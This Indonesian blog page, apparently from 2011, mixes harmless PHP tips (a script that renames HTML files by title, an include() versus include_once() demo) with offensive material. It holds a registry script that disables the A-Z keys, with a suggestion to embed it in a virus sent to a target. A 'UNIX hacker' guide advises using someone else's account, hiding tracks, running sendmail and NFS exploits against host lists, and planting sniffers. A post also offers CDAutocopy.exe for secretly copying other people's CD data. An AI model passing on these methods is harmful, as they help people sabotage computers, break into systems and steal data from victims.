Merename File HTML berdasarkan Title dengan PHP

Cuma mau sharing aja niy.. Mungkin kita pernah mendownload EZINE dalam format HTML. Setelah kita  buka,  ternyata  nama  Filenya  berupa angka, bukan judul dari artikel. Nah, dengan script PHP sederhana, kita bisa merename semua file HTML tersebut agar nantinya nama file  berubah menjadi sesuai dengan apa yang ada pada tag <title> </title>.
Untuk menggunakan script di bawah ini,simpan script berikut pada lokasi instalasi filePHP anda kemudian buatlah sebuah directory bernama “files”. Jalankan melalui command line.
Jika anda menggunakan Windows :
C:\PHP4\php.exe -q rename.php
Jika anda adalah Linuxish     :
$ php -q rename.php
<?php
  $dirname = "files/";
  if(!is_dir($dirname)){
  echo "\nERROR: directory '$dirname' not really exist..\n";
  exit;
  }
  else{
  function getTitle($path) {
  $pagefile = fopen($path, "r");
  $data = fread($pagefile, filesize($path));
  if (eregi("<title>(.*)</title>", $data, $out)) {
  $outdata = $out[1];
  }
  return $outdata;
  }
  $a = opendir($dirname);
  while($file=readdir($a)){
  if(eregi(".htm",$file)||eregi(".html",$file)){
  $ext = explode(".",$file);
  $ext = $ext[1];
  $newname = getTitle($dirname.$file);
  rename($dirname.$file,$dirname.$newname.".".$ext);
  echo "\n $file => $newname.$ext";
  }
  else{
  continue;
  }
  }
  closedir($a);
  echo "\n";
  }
  ?>
 

Menghapus/Memodifikasi Opsi Rename, Cut, Copy, Paste dan Delete pada File & Folder

Sebenarnya, ide iseng ini muncul dari seorang rekan saya yang ingin menjahili temannya dengan mendisable tombol A-Z kerboard target ^^” Tidak perlu melakukan cara yang brutal dengan mencongkel tombol keyboard jika Anda hanya ingin mendisable tombol-tombol alphabet keyboard ^^”, semua bisa dilakukan dengan script Registry sederhana. Jika Anda tidak memiliki akses fisik ke komputer target, sisipkan saja script yang saya berikan melalui Artikel pada Virus/Worm buatan Anda untuk kemudian dikirimkan ke target :-P

Persiapan Khusus

Sebelum memulai percobaan pada komputer sendiri, hapus password windows Anda (jika komputer Anda memiliki password) karena begitu Anda Log Off setelah mengeksekusi script Registry yang saya berikan, seketika itu juga tombol alphabet Anda tidak akan berfungsi.
Persiapan khusus ini hanya perlu Anda lakukan jika Anda melakukan percobaan pada komputer Anda sendiri, demi keamanan dan kenyamanan Anda :D

Disable Tombol-Tombol Alphabet

Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Keyboard Layout]
"Scancode Map"=hex:00,00,00,00,00,00,00,00,1b,00,00,00,01,00,1e,00,01,00,30,00,\
&nbsp; 01,00,2e,00,01,00,20,00,01,00,12,00,01,00,21,00,01,00,22,00,01,00,23,00,01,\
&nbsp; 00,17,00,01,00,24,00,01,00,25,00,01,00,26,00,01,00,32,00,01,00,31,00,01,00,\
&nbsp; 18,00,01,00,19,00,01,00,10,00,01,00,13,00,01,00,1f,00,01,00,14,00,01,00,16,\
&nbsp; 00,01,00,2f,00,01,00,11,00,01,00,2d,00,01,00,15,00,01,00,2c,00,00,00,00,00

Script diatas merupakan Scan Code tombol A-Z yang di mapping ulang fungsinya menjadi tombol [Esc]. Simpan Script tersebut dengan nama “spyrozone.reg”, klik 2x pada file tersebut, lalu klik OK pada semua kotak dialog yang muncul.
Log Off komputer Anda, lalu login kembali. Kini, tombol-tombol alphabet Anda tidak akan berfungsi :-D 

Menormalkan Kembali Fungsi Keyboard

Untuk menormalkan kembali fungsi keyboard Anda, bukalah Registry Editor, lalu pergilah ke lokasi berikut:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Keyboard Layout
Hapus “Scancode Map” yang ada pada key tersebut. Log Off komputer Anda, kemudian login kembali. Kini Keyboard Anda sudah berfungsi normal sebagaimana biasa.

Penutup

Selamat mencoba, semoga bermanfaat ;)

 

Perbedaan include() dan include_once() di PHP?

Fungsi include() dan include_once() memang memiliki fungsi yang hampir sama. Namun ada perbedaan mendasar dari kedua fungsi tersebut:
  • include() bisa memanggil file yang sama untuk beberapa kali.
  • include_once() hanya akan memanggil file yang sama SEKALI saja.
Arrhh… memangnya kenapa artikel seperti ini sampai ditulis? Bukannya dari dulu memang seperti itu? Jangan salah.. :D di inbox email dan sms saya sudah ada 8 orang yang menanyakan hal ini ^^”  kebanyakan merasa kurang jelas dengan contoh yang sudah bertebaran di Internet. Rata-rata dari mereka tidak melihat adanya perbedaan dari contoh-contoh tersebut.
“Dari contoh-contoh yang gw temukan,. kelihatannya sama ajah…”
Begitu kira-kira komentar para penanya. Nah, kali ini, saya akan memberikan contoh yang sangat -sangat sederhana yang akan menunjukkan perbedaan kedua fungsi tersebut.

Contoh Sederhana

Buatlah 3 buah file php dengan nama index.php, include.php, include_once.php dengan code sebagai berikut:
Nama File: index.php
1<?PHP
2include("include.php");
3include("include.php");
4include("include.php");
5include_once("include_once.php");
6include_once("include_once.php");
7include_once("include_once.php");
8?>
Nama File: include.php
1<?PHP
2echo "Saya include!<br>";
3?>
Nama File: include_once.php
1<?PHP
2echo "Saya include_once!<br>";
3?>

Output

Ketika index.php dipanggil, maka output yang didapat adalah:
Saya include!
Saya include!
Saya include!
Saya include_once!
Terlihat khan bedanya?
include.php dan include_once.php sama-sama dipanggil 3 KALI di file index.php. Pesan “Saya include!” yang ada pada include.php keluar 3 KALI, tapi pesan “Saya include_once!” yang ada pada include_once.php hanya tampil sekali, karena pemanggilan kedua dan seterusnya untuk nama file yang sama dengan fungsi include_once() akan diabaikan. 
Sekian, semoga bermanfaat ;)

 

Menjadi seorang UNIX Hacker

Jadi kamu memutuskan untuk menjadi seorang hacker UNIX tapi kami nggak tau gimana mulainya? Sebelum kamu benar-benar mulai, pastikan bahwa hal-hal berikut ini adalah jelas:




  1. Hacking adalah kerja keras. Hacking bukanlah tempat bermain anak-anak yang hanya ingin mendapat 15 menit secara cuma-cuma. Kamu harus belajar bagaimana caranya mengoperasikan dan memprogram sebuah system. Kamu mesti ngeriset bagaimana mesin-mesin bereaksi dan membaca kode-kode asli. Ini adalah proses yang panjang dan sukar – inilah peringatan untuk kamu!
  2. Hacking adalah ilegal. Masuk ke jaringan komputer tanpa izin adalah ilegal, paling tidak di banyak negara (hanya Belanda dan Argentina kalo nggak salah yang belum punya hukum mengenai hacking. Belum aja, sih … paling juga nanti akan ada.) Walaupun hanya log-on ke sebuah sustem dengan menggunakan account bukan milikmu adalah tindakan pidana yang bisa dikenakan hukuman. Sekali sang hakim menjatuhkan hukuman, maka hukuman tersebut akan dimasukkan ke data hidup / arsip kamu. Seluruh hidup kamu mungkin bisa terlantar karena hanya sedikit perusahaan yang bersedia menerima hacker sebagai karyawan. Ini serius. Apalagi di Indonesia. Jika kamu meng-hacking server milik pemerintah, bisa dijamin kamu akan amblas. Dan keluarga kamu nggak aman! Beberapa anggota kami nggak bisa balik lagi ke tanah air karena sudah dicekal, dan terakhir, pemerintah mulai menyelidiki asal-usul ChiKo dan mencari keluarganya di Indonesia.
  3. Hacking memerlukan banyak waktu. Kamu nggak mungkin cuman nge-hack selama setengah thun, terus berhenti dan istirahat selama tiga bulan, lalu kembali lagi. Waktu berjalan cepat di internet. Rilis baru UNIX, bug-bug baru, dan juga fix-fix nya. Sekali kamu ketinggalan jaman dengan eksploit data milikmu, kamu mesti mengemis-ngemis ke orang lain untuk memberikan barang-barang baru kepadamu, dan jika kamu melakukan hal tsb terlalu sering, mereka nggak akan begitu senang jadinya. 50% dari waktu hacking sebenarnya dihabiskan untuk mengumpulkan informasi. Bicaralah ke hacker-hacker lainnya, baca mailing lists dan newsgroups, jangan lupa situs-situs www dan ftp yang bagus.
Tapi apa motivasi kamu untuk secara benar-benar melakukan ‘unix hacking’? Itu terserah kamu. Kamu ingin menjadi salah satunya, maka pikirkan lagi mengapa kamu ingin menjadi salah satu unix hacker. Lupakan film-film seperti “The Net” ataupun “Hackers” – film-film tsb BUKANLAH realita! Lupakan mimpi-mimpi menjadi pahlawan, mengehack Pentagon atau HanKam dan menjadi cowok terseksi, mendapat pacar-pacar yang cantik dan pada akhirnya bekerja untuk sebuah perusahaan keamanan sistem dengan gaji berjibun ;o). Hal-hal tersebut BUKANLAH apa yang akan terjadi – jadi, pastikanlah bahwa alasan kamu jelas, mengapa kamu ingin menjadi hacker dan apa yang kamu harapkan dari hacking. Bisakah kamu bayangkan ibundamu tercinta, tersedu-sedu saat polisi datang untuk menahanmu?
Ingatlah peringatan-peringatan ini. Ini kami jadikan peringatan untuk memastikan bahwa kamu menyadari apa yang kamu lakukan dan kamu ingin menjadi apa. Catatan juga bahwa kami menulis petunjuk singkat ini sebab seringkali kami mendapat pertanyaan dari banyak orang, “Gimana caranya supaya gue jadi jago nge-hack UNIX?” – dan dari waktu ke waktu kami menjadi makin cape ngejawabinnya. Maka … inilah dia jawaban-jawabannya. Jangan salahkan kami atas ketidaklengkapan ataupun kesalahan- kami udah nggak peduli lagi dengan permintaan-permintaan ngajarin nge-hack lewat jalan potong. Hanya yang paling tahan bantinglah yang bertahan – jadi, cobalah mendapatkan sebanyak mungkin melalui teks ini jika kamu benar-benar masih pemula. Kami sendiri masih belum pantas menyandang gelar “hacker” karena kami merasa masih jauh sekali tertinggal oleh rekan-rekan kebangsaan lain dan kami masih selalu dalam proses mempelajari segalanya.

Gimana cara mulainya?

  1. Kenalilah sang sistem – atau – gimana caranya kamu bisa menang rodeo tanpa belajar caranya menunggang kuda?
  2. Dapatkan distribusi unix. Cobalah mendapatkan Linux, FreeBSD, Solaris, Sinix dll. untuk PC kamu. Linux dan FreeBSD adalah sistem-sistem murah (kadang-kadang gratis!) yang berasal dari BSD, sedangkan Solaris dan Sinix adalah sistem-sistem mahal yang berasal dari System V. Tip: Carilah distribusi linux yang punya buku pegangan yang cukup bagus. Kamu mesti mempelajari bagaimana caranya mengoperasikan unix. Pelajarilah dasar-dasarnya, seperti mengganti direktori, perintah-perintah menyalin dan menghapus dan menggunakan program penyunting.
  3. Motivasi dirimu sendiri untuk secara benar-benar menggunakan UNIX. Gimana caranya memotivasi – itu terserah kamu sendiri. Mungkin dengan menggunakan databasi yang ada di distribusi unix kamu, membuat program dalam C untuk sekolah/universitas kamu, apa aja lah, yang jelas kamu mesti benar-benar menggunakan unix (seperti jamannya ngetik perintah di DOS dulu).
  4. Beli beberapa buku untuk menolong kamu. Diluar sana ada banyak, jadi, pergilah ke toko buku terkemuka, paling bagus didekat sebuah universitas, dimana banyak orang-orang yang bisa menolong memberitahukan buku-buku apa yang cukup baik mengenai unix. Buku-buku Nutshell terbitan O’reilly (dan terjemahannya) kami sukai, namun ini adalah opini pribadi. Kamu mungkin mau mulai dengan seri For Dummies terbitan IDG (banyak yang bahasa Indonesianya. Baca FAQ untuk judul-judul lain.
  5. Dapatkan internet account dengan PPP dan/atau akses shell (hubungi ISPmu). JANGAN SEKALI-KALI menge-hack atau bertukar informasi mengenai hacking (tanpa PGP) dengan menggunakan account milik kamu sendiri (atau account dibawah nama/alamat/telepon kamu!). Coba untuk mengkonfigurasikan PC unix kamu untuk menghubungkan diri ke Internet provider. Beberapa distribusi Linux dilengkapi dengan sebuah buku petunjuk dimana mereka menggambarkan gimana caranya untuk menyambungkan ke internet. Jika kamu sudah mengikuti 5 langkah tsb diatas dan mengetahui caranya mengoperasikan unix (ini akan makan waktu sekitar 2 – 8 minggu) maka kamu sebaiknya melanjutkan ke langkah berikutnya: Pelajari Dasar-Dasarnya!
  6. Kembalilah ke toko buku, kali ini carilah buku-buku mengenai unix dan keamanan internet. Beberapa buku terbitan Elex Media membahas hal ini. Buku-buku berbahasa inggris antara lain “Practical Unix Security” oleh Garfinkel and Spafford. Pelajari masalah-masalah keamanan dasar, ‘holes’ dan ciri-ciri apa yang ada di unix, dan kesalahan-kesalahan apa yang sering orang-orang lakukan.
  7. Cobalah untuk mendapatkan semua informasi dan file-file yang kamu bisa temukan di internet. Selidiki situs-situs www dan ftp dan gunakan mesin pencari. Berlangganlah ke mailing list mengenai keamanan yang cukup penting dan bacalah newsgroups yang mungkin bisa jadi penting. Tanya-tanya di sekeliling di IRC mengenai situs-situs yang bagus. berikut adalah situs-situs untuk permulaan: http://wks.uts.ohio-state.edu/unix_course/unix.html
    http://www.mcsr.olemiss.edu/unixhelp/
  8. Baca dan analisa file-file hasil kumpulan kamu – dan jangan cuman dikumpulin aja. Jika kata-kata seperti suid, buffer overflow, firewall, rdist, nis, nfs, dan SATAN sudah menjadi bukan rahasia lagi bagi kamu dan kamu benar-benar mengetahui apa makna dan konsekwensi kata-kata tersebut, …lanjutkan. Mulai Hacking
  9. Dapatkan sebuah account yang bukan milikmu! Coba minta dari hacker yang kamu kenal/jumpai. Atau gunakan metode-metode yang ada di FAQ. Ingatlah: jangan coba-coba nge-hack dari account milik kamu sendiri!
  10. Dengan account ini kamu bisa mencoba untuk menge-hack sistem pertamamu. Coba eksploit-eksploitmu. Tapi ingatlah untuk selalu untuk menutupi jejak (artikel akan segera menyusul) supaya account ilegal milikmu tidak menjadi sejarah setelah baru sekali dipakai!
  11. Gunakan ypx, eksploit – eksploit remote sendmail, insecure NFS exports, dll untuk mendapatkan host-host lainnya. Kamu bisa menjadi benar-benar sukses dengan barang “lama” ini jika kamu menggunakan daftar host yang cukup besar dan skrip tulis/temukan (write/find) yang mengotomatisasi proses penge-test-an untuk kamu. Tapi dimana bisa ditemukan nama-nama host untuk membuat daftar host? Banyak kemungkinan. Coba irc, /etc/hosts, www, data analisis statistik dari akses-akses internet atau www, dll. Ini akan memberikan kamu banyak host dengan account-account yang ada.
  12. Instal sebuah sniffer jika keadaan sistem memungkinkan dan kamu membobol account ‘root’! Account ini akan memperbolehkan kamu mengakses banyak account ke host-host baru. Jalankan skrip-skrip eksploit kamu. pada akhirnya paling tidak ada beberapa yang bisa digunakan. Lanjutkanlah. Menjadi seorang Hacker
    APA? Kamu udah berhasil nge-hack root di beberapa sistem – dan kamu masih belum juga seorang “hacker”? Kenapa tuh? Seorang hacker bukanlah seseorang yang kerjanya menge-hack sebuah site, install sebuah sniffer dan selanjutnya. Seorang hacker asli adalah seseorang yang ingin mengerti sebuah sistem, mengetahui bagaimana sang sistem bereaksi, bersenang-senang mengambil alih kekuasaan di server tersebut dan tertarik dalam menemukan bugs-bugs baru dan mengarang program-program kegunaan (tool utility) baru. Yang cocok digambarkan diatas bisa dipanggil Columbus-nya Cyberspace.
  13. Cobalah untuk berhubungan dengan hacker-hacker lainnya dan saling bertukar informasi, pengalaman, accounts, eksploits, dan file.
  14. Amati diskusi-diskusi di newsgroups, mailing lists, dan irc. Cobalah membaca RFC-RFC penting, pelajarilah C dan mulailah memprogram tools karyamu sendiri.
  15. Jangan kut-ikutan menjadi “31337″ – kamu sendiri tahu bahwa kamu udah cukup keren hackingnya (“cool”, gitu, bahasa Sunda-nya mah!) dan kamu nggak perlu untuk meyakinkan setiap orang bahwa kamu emang elit. Bertindaklah secara normal dan tolonglah orang-orang lain yang sekarang bertanya-tanya kepada kamu “gimana caranya supaya gue bisa nge-hack UNIX?”
  16. Jangan lelah. Tetaplah bertahan di kawasan per-hacking-an, selalu amati newsgroup dan mailing list dan teman teman, jangan berhenti ber-hacking ria.
Yah, segitulah dari kami, kawan-kawan, teks diatas kayaknya cukup untuk membuat para pendatang baru tersedak mulutnya. Teks tsb emang singkat dan kotor, namun mempunyai apa yang diperlukan.
Ciao…
LithErr
 

Hello, Android (3rd edition): Introducing Google’s Mobile Development Platform


Google Android sekarang mengguncang pasar ponsel di Dunia. Dengan Android, Anda dapat membuat dan menjalankan program yang berjalan pada ponsel yang kompatibel di dunia.
Android adalah Mobile Platform, dan buku ini memuat panduan Anda mulai menggunakan Android. Edisi ketiga mencakup semua versi Android dari Android 1.5 ke Android 2.

  • 320 pages
  • ISBN: 978-1-93435-656-2
  • File Size: 4.012 M
Download ViaTusfiles
No Password
 

CDAutocopy.exe – CD Data Stealer

Pernah mengincar data seseorang yang tersimpan di CD? Aplikasi mungil ini akan mencuri data-data yang berada dalam CD. Cara penggunaannya sangat mudah. Data yang berhasil dicuri akan terkumpul di suatu directory dalam komputer Anda. Pastikan lokasi penyimpanan memiliki ruang kosong yang masih longgar. Untuk lebih jelasnya, silahkan baca:

Hush!! saya tau pikiran ngeres Anda :D CD yang saya maksud disini bukan C3l4n4 D4L4M, tapi Compact Disc :D Seorang teman lama bertanya kepada saya melalui pesan FB:

… program Thumbsuck di web syprozone itu gk bisa utk autocopy file di CD Rom Drive ya? klo gk bisa, apa ada referensi software autocopy dari CD Rom? Makasih banyak ya …
Thumbsuck memang didesain khusus untuk menargetkan Flashdisk. Beberapa software auto copy CD yang saya temui di desain untuk tindakan legal. Beruntung, pagi ini saya sedang tidak ada kerjaan, iseng-iseng saya membuat aplikasi sejenis Thumbsuck, namun targetnya adalah CD :) Ingin mencoba?
Silahkan download CdAutocopy.exe dari Member’s Area:


Cara penggunaannya sama saja dengan Thumbsuck.exe. Anda tinggal menjalankan aplikasi mungil ini dari folder rahasia Anda. Begitu ada CD yang dimasukkan kedalam CD Rom, CdAutocopy.exe akan otomatis membuat folder di lokasi yang sama dengan format berikut:
[SPYROZONE.NET]-[TANGGAL PENCURIAN DATA]-[CD VOLUME NAME]
Pada folder itulah file-file di dalam CD tadi akan disalin secara diam-diam.
 
Untuk menghentikan aplikasi ini, gunakan Task Manager ([CTRL]+[ALT]+[Delete]).
Selamat mencoba

Silahkan Inbox FB saya untuk minta password rar. :D

..::Spyrozone::..
 
 
Support : My Facebook | @Styawan7 | Durenombo
Copyright © 2011. Styawan7 - All Rights Reserved
Template Created by Creating Website Published by Mas Template
Proudly powered by Blogger